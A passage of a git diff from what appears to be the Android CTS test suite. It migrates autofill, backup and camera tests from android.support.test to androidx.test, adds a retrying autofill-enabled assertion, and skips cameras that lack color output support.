import android.service.autofill.Transformation;
import android.service.autofill.Validator;
-import android.support.test.runner.AndroidJUnit4;
import android.widget.RemoteViews;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatasetTest.java b/tests/autofillservice/src/android/autofillservice/cts/DatasetTest.java
index 2554a5b..279a829 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DatasetTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DatasetTest.java
@@ -23,11 +23,12 @@
import android.platform.test.annotations.AppModeFull;
import android.service.autofill.Dataset;
-import android.support.test.runner.AndroidJUnit4;
import android.view.autofill.AutofillId;
import android.view.autofill.AutofillValue;
import android.widget.RemoteViews;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DateValueSanitizerTest.java b/tests/autofillservice/src/android/autofillservice/cts/DateValueSanitizerTest.java
index 6f59302..e92d3bd 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DateValueSanitizerTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DateValueSanitizerTest.java
@@ -24,10 +24,11 @@
import android.icu.util.Calendar;
import android.platform.test.annotations.AppModeFull;
import android.service.autofill.DateValueSanitizer;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
import android.view.autofill.AutofillValue;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java b/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
index 1ba93c4..6d7a914 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
@@ -32,11 +32,12 @@
import android.platform.test.annotations.AppModeFull;
import android.service.autofill.FillEventHistory.Event;
import android.service.autofill.UserData;
-import android.support.test.InstrumentationRegistry;
import android.view.autofill.AutofillId;
import android.view.autofill.AutofillManager;
import android.widget.EditText;
+import androidx.test.InstrumentationRegistry;
+
import org.junit.Before;
import org.junit.ClassRule;
import org.junit.Rule;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index 4e5418b..1f0f5ac 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -46,7 +46,6 @@
import android.service.autofill.FieldClassification.Match;
import android.service.autofill.FillContext;
import android.service.autofill.FillEventHistory;
-import android.support.test.InstrumentationRegistry;
import android.text.TextUtils;
import android.util.Log;
import android.util.Pair;
@@ -54,12 +53,14 @@
import android.view.ViewGroup;
import android.view.ViewStructure.HtmlInfo;
import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillManager;
import android.view.autofill.AutofillManager.AutofillCallback;
import android.view.autofill.AutofillValue;
import android.webkit.WebView;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
import com.android.compatibility.common.util.BitmapUtils;
import com.android.compatibility.common.util.RequiredFeatureRule;
@@ -1231,7 +1232,27 @@
"bitmap comparison failed; check contents of " + dump1 + " and " + dump2);
}
- @Nullable
+ /**
+ * Asserts that autofill is enabled in the context, retrying if necessariy.
+ */
+ public static void assertAutofillEnabled(@NonNull Context context, boolean expected)
+ throws Exception {
+ assertAutofillEnabled(context.getSystemService(AutofillManager.class), expected);
+ }
+
+ /**
+ * Asserts that autofill is enabled in the manager, retrying if necessariy.
+ */
+ public static void assertAutofillEnabled(@NonNull AutofillManager afm, boolean expected)
+ throws Exception {
+ Timeouts.IDLE_UNBIND_TIMEOUT.run("assertEnabled(" + expected + ")", () -> {
+ final boolean actual = afm.isEnabled();
+ Log.v(TAG, "assertEnabled(): expected=" + expected + ", actual=" + actual);
+ return actual == expected ? "not_used" : null;
+ });
+ }
+
+ @Nullable
private static File dumpBitmap(@NonNull Bitmap bitmap, @NonNull File dir,
@NonNull String filename) throws IOException {
final File file = new File(dir, filename);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java b/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java
index f0f5470..fc82ffd 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java
@@ -27,10 +27,11 @@
import android.platform.test.annotations.AppModeFull;
import android.service.autofill.ImageTransformation;
import android.service.autofill.ValueFinder;
-import android.support.test.runner.AndroidJUnit4;
import android.view.autofill.AutofillId;
import android.widget.RemoteViews;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index c476c7c..c6b63a3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -2328,12 +2328,12 @@
// Sanity check.
final AutofillManager afm = mActivity.getAutofillManager();
- assertThat(afm.isEnabled()).isTrue();
+ Helper.assertAutofillEnabled(afm, true);
// Now disable user_complete and try again.
try {
setUserComplete(mContext, false);
- assertThat(afm.isEnabled()).isFalse();
+ Helper.assertAutofillEnabled(afm, false);
} finally {
setUserComplete(mContext, true);
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LuhnChecksumValidatorTest.java b/tests/autofillservice/src/android/autofillservice/cts/LuhnChecksumValidatorTest.java
index 0da2208..975968f 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LuhnChecksumValidatorTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LuhnChecksumValidatorTest.java
@@ -25,9 +25,10 @@
import android.platform.test.annotations.AppModeFull;
import android.service.autofill.LuhnChecksumValidator;
import android.service.autofill.ValueFinder;
-import android.support.test.runner.AndroidJUnit4;
import android.view.autofill.AutofillId;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/RegexValidatorTest.java b/tests/autofillservice/src/android/autofillservice/cts/RegexValidatorTest.java
index f0e68a6..7ccddbd 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/RegexValidatorTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/RegexValidatorTest.java
@@ -25,9 +25,10 @@
import android.platform.test.annotations.AppModeFull;
import android.service.autofill.RegexValidator;
import android.service.autofill.ValueFinder;
-import android.support.test.runner.AndroidJUnit4;
import android.view.autofill.AutofillId;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/RetryRuleTest.java b/tests/autofillservice/src/android/autofillservice/cts/RetryRuleTest.java
index 3d182ed..ef3169f8 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/RetryRuleTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/RetryRuleTest.java
@@ -19,7 +19,8 @@
import static com.google.common.truth.Truth.assertThat;
import android.platform.test.annotations.AppModeFull;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.Description;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java b/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java
index a13f4a0..b507fa5 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java
@@ -23,9 +23,10 @@
import android.service.autofill.InternalSanitizer;
import android.service.autofill.Sanitizer;
import android.service.autofill.SaveInfo;
-import android.support.test.runner.AndroidJUnit4;
import android.view.autofill.AutofillId;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TextValueSanitizerTest.java b/tests/autofillservice/src/android/autofillservice/cts/TextValueSanitizerTest.java
index d08c7e7..c7d2793 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/TextValueSanitizerTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/TextValueSanitizerTest.java
@@ -22,9 +22,10 @@
import android.platform.test.annotations.AppModeFull;
import android.service.autofill.TextValueSanitizer;
-import android.support.test.runner.AndroidJUnit4;
import android.view.autofill.AutofillValue;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index d6199eb..90358ab 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -39,7 +39,6 @@
import android.graphics.Bitmap;
import android.os.SystemClock;
import android.service.autofill.SaveInfo;
-import android.support.test.InstrumentationRegistry;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.BySelector;
import android.support.test.uiautomator.UiDevice;
@@ -52,6 +51,7 @@
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java b/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java
index 354bbc9..bec7756 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java
@@ -30,7 +30,8 @@
import android.content.Context;
import android.platform.test.annotations.AppModeFull;
import android.service.autofill.UserData;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
import com.google.common.base.Strings;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java b/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
index 84370ca..e0313c6 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
@@ -22,7 +22,6 @@
import android.app.assist.AssistStructure;
import android.platform.test.annotations.AppModeFull;
-import android.support.test.runner.AndroidJUnit4;
import android.view.View;
import android.view.autofill.AutofillValue;
import android.widget.EditText;
@@ -30,6 +29,7 @@
import androidx.annotation.IdRes;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Rule;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityCompatModeTest.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityCompatModeTest.java
index b50fb22..698aa44 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityCompatModeTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityCompatModeTest.java
@@ -43,7 +43,8 @@
import android.os.SystemClock;
import android.platform.test.annotations.AppModeFull;
import android.service.autofill.SaveInfo;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
import org.junit.After;
import org.junit.ClassRule;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
index 7149899..1a9ca43 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
@@ -32,7 +32,6 @@
import android.util.Log;
import android.view.KeyEvent;
import android.view.ViewStructure.HtmlInfo;
-import android.view.autofill.AutofillManager;
import org.junit.AfterClass;
import org.junit.Before;
@@ -122,8 +121,7 @@
// Load WebView
final MyWebView myWebView = mActivity.loadWebView(mUiBot, usesAppContext);
// Sanity check to make sure autofill is enabled in the application context
- assertThat(myWebView.getContext().getSystemService(AutofillManager.class).isEnabled())
- .isTrue();
+ Helper.assertAutofillEnabled(myWebView.getContext(), true);
// Set expectations.
myWebView.expectAutofill("dude", "sweet");
diff --git a/tests/autofillservice/src/android/autofillservice/cts/common/ShellHelper.java b/tests/autofillservice/src/android/autofillservice/cts/common/ShellHelper.java
index fb7c93a..ff42b51 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/common/ShellHelper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/common/ShellHelper.java
@@ -16,12 +16,13 @@
package android.autofillservice.cts.common;
-import androidx.annotation.NonNull;
-import android.support.test.InstrumentationRegistry;
import android.text.TextUtils;
import android.util.Log;
import android.view.View;
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+
import com.android.compatibility.common.util.SystemUtil;
/**
diff --git a/tests/backup/Android.mk b/tests/backup/Android.mk
index e12f2c4..6bfed5c 100644
--- a/tests/backup/Android.mk
+++ b/tests/backup/Android.mk
@@ -27,7 +27,7 @@
android.test.base.stubs \
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner ctstestserver mockito-target-minus-junit4
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt ctstestserver mockito-target-minus-junit4
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/backup/AndroidManifest.xml b/tests/backup/AndroidManifest.xml
index 28745f3..542c41f 100644
--- a/tests/backup/AndroidManifest.xml
+++ b/tests/backup/AndroidManifest.xml
@@ -23,7 +23,7 @@
<uses-library android:name="org.apache.http.legacy" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.backup.cts"
android:label="CTS tests of Android Backup/Restore">
<meta-data android:name="listener"
diff --git a/tests/backup/app/fullbackup/Android.mk b/tests/backup/app/fullbackup/Android.mk
index 68bf8f1..b53e38a 100644
--- a/tests/backup/app/fullbackup/Android.mk
+++ b/tests/backup/app/fullbackup/Android.mk
@@ -29,7 +29,7 @@
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- ctstestrunner
+ compatibility-device-util-axt \
+ ctstestrunner-axt
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/backup/app/keyvalue/Android.mk b/tests/backup/app/keyvalue/Android.mk
index f9034db..dc5f2e8 100644
--- a/tests/backup/app/keyvalue/Android.mk
+++ b/tests/backup/app/keyvalue/Android.mk
@@ -29,7 +29,7 @@
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- ctstestrunner
+ compatibility-device-util-axt \
+ ctstestrunner-axt
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/camera/Android.mk b/tests/camera/Android.mk
index 369d566..72a391c 100644
--- a/tests/camera/Android.mk
+++ b/tests/camera/Android.mk
@@ -18,7 +18,7 @@
include $(CLEAR_VARS)
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util \
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt \
mockito-target-minus-junit4 \
android-ex-camera2
@@ -41,8 +41,8 @@
# Include both the 32 and 64 bit versions
LOCAL_MULTILIB := both
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util \
- ctstestrunner \
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt \
+ ctstestrunner-axt \
mockito-target-minus-junit4 \
android-ex-camera2 \
CtsCameraUtils \
diff --git a/tests/camera/AndroidManifest.xml b/tests/camera/AndroidManifest.xml
index e2ab0be..f311b99 100644
--- a/tests/camera/AndroidManifest.xml
+++ b/tests/camera/AndroidManifest.xml
@@ -78,7 +78,7 @@
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.camera.cts"
android:label="CTS tests of android camera">
<meta-data android:name="listener"
diff --git a/tests/camera/api25test/Android.mk b/tests/camera/api25test/Android.mk
index 8a2c43e..506e444 100644
--- a/tests/camera/api25test/Android.mk
+++ b/tests/camera/api25test/Android.mk
@@ -26,8 +26,8 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util \
- ctstestrunner \
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt \
+ ctstestrunner-axt \
android-ex-camera2 \
CtsCameraUtils
diff --git a/tests/camera/api25test/AndroidManifest.xml b/tests/camera/api25test/AndroidManifest.xml
index dd77c2d..c4d477e 100644
--- a/tests/camera/api25test/AndroidManifest.xml
+++ b/tests/camera/api25test/AndroidManifest.xml
@@ -30,7 +30,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="Camera API25 Test"
android:targetPackage="android.camera.cts.api25test" >
</instrumentation>
diff --git a/tests/camera/libctscamera2jni/native-camera-jni.cpp b/tests/camera/libctscamera2jni/native-camera-jni.cpp
index 1a35a9f..88cb8ef 100644
--- a/tests/camera/libctscamera2jni/native-camera-jni.cpp
+++ b/tests/camera/libctscamera2jni/native-camera-jni.cpp
@@ -673,6 +673,37 @@
return mCameraIdList->cameraIds[idx];
}
+ // Caller is responsible to free returned characteristics metadata
+ ACameraMetadata* getCameraChars(int idx) {
+ if (!mMgrInited || !mCameraIdList || idx < 0 || idx >= mCameraIdList->numCameras) {
+ return nullptr;
+ }
+
+ ACameraMetadata* chars;
+ camera_status_t ret = ACameraManager_getCameraCharacteristics(
+ mCameraManager, mCameraIdList->cameraIds[idx], &chars);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Get camera characteristics failed: ret %d", ret);
+ return nullptr;
+ }
+ return chars;
+ }
+
+ // Caller is responsible to free returned characteristics metadata.
+ ACameraMetadata* getCameraChars(const char* id) {
+ if (!mMgrInited || id == nullptr) {
+ return nullptr;
+ }
+
+ ACameraMetadata* chars;
+ camera_status_t ret = ACameraManager_getCameraCharacteristics(mCameraManager, id, &chars);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Get camera characteristics failed: ret %d", ret);
+ return nullptr;
+ }
+ return chars;
+ }
+
camera_status_t updateOutput(JNIEnv* env, ACaptureSessionOutput *output) {
if (mSession == nullptr) {
ALOGE("Testcase cannot update output configuration session %p",
@@ -1684,6 +1715,18 @@
goto cleanup;
}
+ {
+ ACameraMetadata* chars = testCase.getCameraChars(cameraId);
+ StaticInfo staticInfo(chars);
+ if (!staticInfo.isColorOutputSupported()) {
+ ALOGI("%s: camera %s does not support color output. skipping",
+ __FUNCTION__, cameraId);
+ ACameraMetadata_free(chars);
+ continue;
+ }
+ ACameraMetadata_free(chars);
+ }
+
ret = testCase.openCamera(cameraId);
if (ret != ACAMERA_OK) {
LOG_ERROR(errorString, "Open camera device %s failure. ret %d", cameraId, ret);
@@ -1821,6 +1864,18 @@
goto cleanup;
}
+ {
+ ACameraMetadata* chars = testCase.getCameraChars(cameraId);
+ StaticInfo staticInfo(chars);
+ if (!staticInfo.isColorOutputSupported()) {
+ ALOGI("%s: camera %s does not support color output. skipping",
+ __FUNCTION__, cameraId);
+ ACameraMetadata_free(chars);
+ continue;
+ }
+ ACameraMetadata_free(chars);
+ }
+
ret = testCase.openCamera(cameraId);
if (ret != ACAMERA_OK) {
LOG_ERROR(errorString, "Open camera device %s failure. ret %d", cameraId, ret);
@@ -2067,6 +2122,18 @@
goto cleanup;
}
+ {
+ ACameraMetadata* chars = testCase.getCameraChars(cameraId);
+ StaticInfo staticInfo(chars);
+ if (!staticInfo.isColorOutputSupported()) {
+ ALOGI("%s: camera %s does not support color output. skipping",
+ __FUNCTION__, cameraId);
+ ACameraMetadata_free(chars);
+ continue;
+ }
+ ACameraMetadata_free(chars);
+ }
+
ret = testCase.openCamera(cameraId);
if (ret != ACAMERA_OK) {
LOG_ERROR(errorString, "Open camera device %s failure. ret %d", cameraId, ret);
@@ -2298,6 +2365,18 @@
goto cleanup;
}
+ {
+ ACameraMetadata* chars = testCase.getCameraChars(cameraId);
+ StaticInfo staticInfo(chars);
+ if (!staticInfo.isColorOutputSupported()) {
+ ALOGI("%s: camera %s does not support color output. skipping",
+ __FUNCTION__, cameraId);
+ ACameraMetadata_free(chars);
+ continue;
+ }
+ ACameraMetadata_free(chars);
+ }
+
ret = testCase.openCamera(cameraId);
if (ret != ACAMERA_OK) {
LOG_ERROR(errorString, "Open camera device %s failure. ret %d", cameraId, ret);
@@ -2501,6 +2580,18 @@
goto cleanup;
}
+ {
+ ACameraMetadata* chars = testCase.getCameraChars(cameraId);
+ StaticInfo staticInfo(chars);
+ if (!staticInfo.isColorOutputSupported()) {
+ ALOGI("%s: camera %s does not support color output. skipping",
+ __FUNCTION__, cameraId);
+ ACameraMetadata_free(chars);
+ continue;
+ }
+ ACameraMetadata_free(chars);
+ }
+
ret = testCase.openCamera(cameraId);
if (ret != ACAMERA_OK) {
LOG_ERROR(errorString, "Open camera device %s failure. ret %d", cameraId, ret);
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
index f72fcd7..836210f 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
@@ -153,8 +153,6 @@
any(CameraDevice.class));
mCameraListener = mCameraMockListener;
- createDefaultImageReader(DEFAULT_CAPTURE_SIZE, ImageFormat.YUV_420_888, MAX_NUM_IMAGES,
- new ImageDropperListener());
}
@Override
@@ -449,7 +447,6 @@
public void testChainedOperation() throws Throwable {
final ArrayList<Surface> outputs = new ArrayList<>();
- outputs.add(mReaderSurface);
// A queue for the chained listeners to push results to
// A success Throwable indicates no errors; other Throwables detail a test failure;
@@ -591,49 +588,60 @@
// Actual test code
for (int i = 0; i < mCameraIds.length; i++) {
- Throwable result;
+ try {
+ Throwable result;
- if (!(new StaticMetadata(mCameraManager.getCameraCharacteristics(mCameraIds[i]))).
- isColorOutputSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] + " does not support color outputs, skipping");
- continue;
- }
-
- // Start chained cascade
- ChainedCameraListener cameraListener = new ChainedCameraListener();
- mCameraManager.openCamera(mCameraIds[i], cameraListener, mHandler);
-
- // Check if open succeeded
- result = results.poll(CAMERA_OPEN_TIMEOUT_MS, TimeUnit.MILLISECONDS);
- if (result != success) {
- if (cameraListener.cameraDevice != null) cameraListener.cameraDevice.close();
- if (result == null) {
- fail("Timeout waiting for camera open");
- } else {
- throw result;
+ if (!(new StaticMetadata(mCameraManager.getCameraCharacteristics(mCameraIds[i]))).
+ isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + mCameraIds[i] +
+ " does not support color outputs, skipping");
+ continue;
}
- }
- // Check if configure succeeded
- result = results.poll(SESSION_CONFIGURE_TIMEOUT_MS, TimeUnit.MILLISECONDS);
- if (result != success) {
- if (cameraListener.cameraDevice != null) cameraListener.cameraDevice.close();
- if (result == null) {
- fail("Timeout waiting for session configure");
- } else {
- throw result;
- }
- }
+ createDefaultImageReader(DEFAULT_CAPTURE_SIZE, ImageFormat.YUV_420_888,
+ MAX_NUM_IMAGES, new ImageDropperListener());
+ outputs.add(mReaderSurface);
- // Check if capture succeeded
- result = results.poll(CAPTURE_RESULT_TIMEOUT_MS, TimeUnit.MILLISECONDS);
- if (result != success) {
- if (cameraListener.cameraDevice != null) cameraListener.cameraDevice.close();
- if (result == null) {
- fail("Timeout waiting for capture completion");
- } else {
- throw result;
+ // Start chained cascade
+ ChainedCameraListener cameraListener = new ChainedCameraListener();
+ mCameraManager.openCamera(mCameraIds[i], cameraListener, mHandler);
+
+ // Check if open succeeded
+ result = results.poll(CAMERA_OPEN_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ if (result != success) {
+ if (cameraListener.cameraDevice != null) cameraListener.cameraDevice.close();
+ if (result == null) {
+ fail("Timeout waiting for camera open");
+ } else {
+ throw result;
+ }
}
+
+ // Check if configure succeeded
+ result = results.poll(SESSION_CONFIGURE_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ if (result != success) {
+ if (cameraListener.cameraDevice != null) cameraListener.cameraDevice.close();
+ if (result == null) {
+ fail("Timeout waiting for session configure");
+ } else {
+ throw result;
+ }
+ }
+
+ // Check if capture succeeded
+ result = results.poll(CAPTURE_RESULT_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ if (result != success) {
+ if (cameraListener.cameraDevice != null) cameraListener.cameraDevice.close();
+ if (result == null) {
+ fail("Timeout waiting for capture completion");
+ } else {
+ throw result;
+ }
+ }
+
+ } finally {
+ closeDefaultImageReader();
+ outputs.clear();
}
}
}
@@ -1836,6 +1844,9 @@
if (!mStaticInfo.isColorOutputSupported()) {
createDefaultImageReader(getMaxDepthSize(mCamera.getId(), mCameraManager),
ImageFormat.DEPTH16, MAX_NUM_IMAGES, new ImageDropperListener());
+ } else {
+ createDefaultImageReader(DEFAULT_CAPTURE_SIZE, ImageFormat.YUV_420_888, MAX_NUM_IMAGES,
+ new ImageDropperListener());
}
List<Surface> outputSurfaces = new ArrayList<>(Arrays.asList(mReaderSurface));
diff --git a/tests/camera/src/android/hardware/camera2/cts/IdleUidTest.java b/tests/camera/src/android/hardware/camera2/cts/IdleUidTest.java
index 70e928a..9234c7e 100644
--- a/tests/camera/src/android/hardware/camera2/cts/IdleUidTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/IdleUidTest.java
@@ -16,10 +16,9 @@
package android.hardware.camera2.cts;
-import static org.junit.Assert.fail;
-
import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assert.fail;
import static org.mockito.Mockito.eq;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.reset;
@@ -33,8 +32,9 @@
import android.os.Handler;
import android.os.HandlerThread;
import android.platform.test.annotations.AppModeFull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.SystemUtil;
diff --git a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
index 8852778..ef174fa 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
@@ -361,7 +361,8 @@
Size maxJpegSize = CameraTestUtils.getMaxSize(jpegSizes);
Size maxPreviewSize = mOrderedPreviewSizes.get(0);
-
+ Size QCIF = new Size(176, 144);
+ Size FULL_HD = new Size(1920, 1080);
for (int format : supportedYUVFormats) {
Size[] targetCaptureSizes =
mStaticInfo.getAvailableSizesForFormatChecked(format,
@@ -409,6 +410,14 @@
+ "max preview size (" + maxPreviewSize
+ ") is not supported");
continue;
+ } else if (captureSz.equals(QCIF) &&
+ ((maxJpegSize.getWidth() > FULL_HD.getWidth()) ||
+ (maxJpegSize.getHeight() > FULL_HD.getHeight()))) {
+ Log.v(TAG, "Skip testing {yuv:" + captureSz
+ + " ,jpeg:" + maxJpegSize + "} for camera "
+ + mCamera.getId() +
+ " because QCIF + >Full_HD size is not supported");
+ continue;
} else {
fail("Camera " + mCamera.getId() +
":session configuration failed for {jpeg: " +
diff --git a/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
index 33365b2..c3de878 100644
--- a/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
@@ -105,6 +105,10 @@
Log.i(TAG, "Camera " + id + " is legacy, skipping");
continue;
}
+ if (!mStaticInfo.isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + id + " does not support color outputs, skipping");
+ continue;
+ }
Size yuvSize = mOrderedPreviewSizes.get(0);
// Create a YUV image reader.
@@ -528,6 +532,10 @@
CameraCharacteristics properties =
mCameraManager.getCameraCharacteristics(physicalCameraId);
assertNotNull("Can't get camera characteristics!", properties);
+ if (!mAllStaticInfo.get(physicalCameraId).isColorOutputSupported()) {
+ // No color output support, skip.
+ continue;
+ }
StreamConfigurationMap configMap =
properties.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
physicalConfigs.put(physicalCameraId, configMap);
@@ -565,7 +573,7 @@
ArrayList<String> supportedPhysicalCameras = new ArrayList<String>();
for (String physicalCameraId : physicalCameraIds) {
List<Size> physicalPreviewSizes = physicalPreviewSizesMap.get(physicalCameraId);
- if (physicalPreviewSizes.contains(previewSize)) {
+ if (physicalPreviewSizes != null && physicalPreviewSizes.contains(previewSize)) {
long minDurationPhysical =
physicalConfigs.get(physicalCameraId).getOutputMinFrameDuration(
ImageFormat.YUV_420_888, previewSize);
diff --git a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
index 651b8b6..7617043 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
@@ -1151,6 +1151,8 @@
}
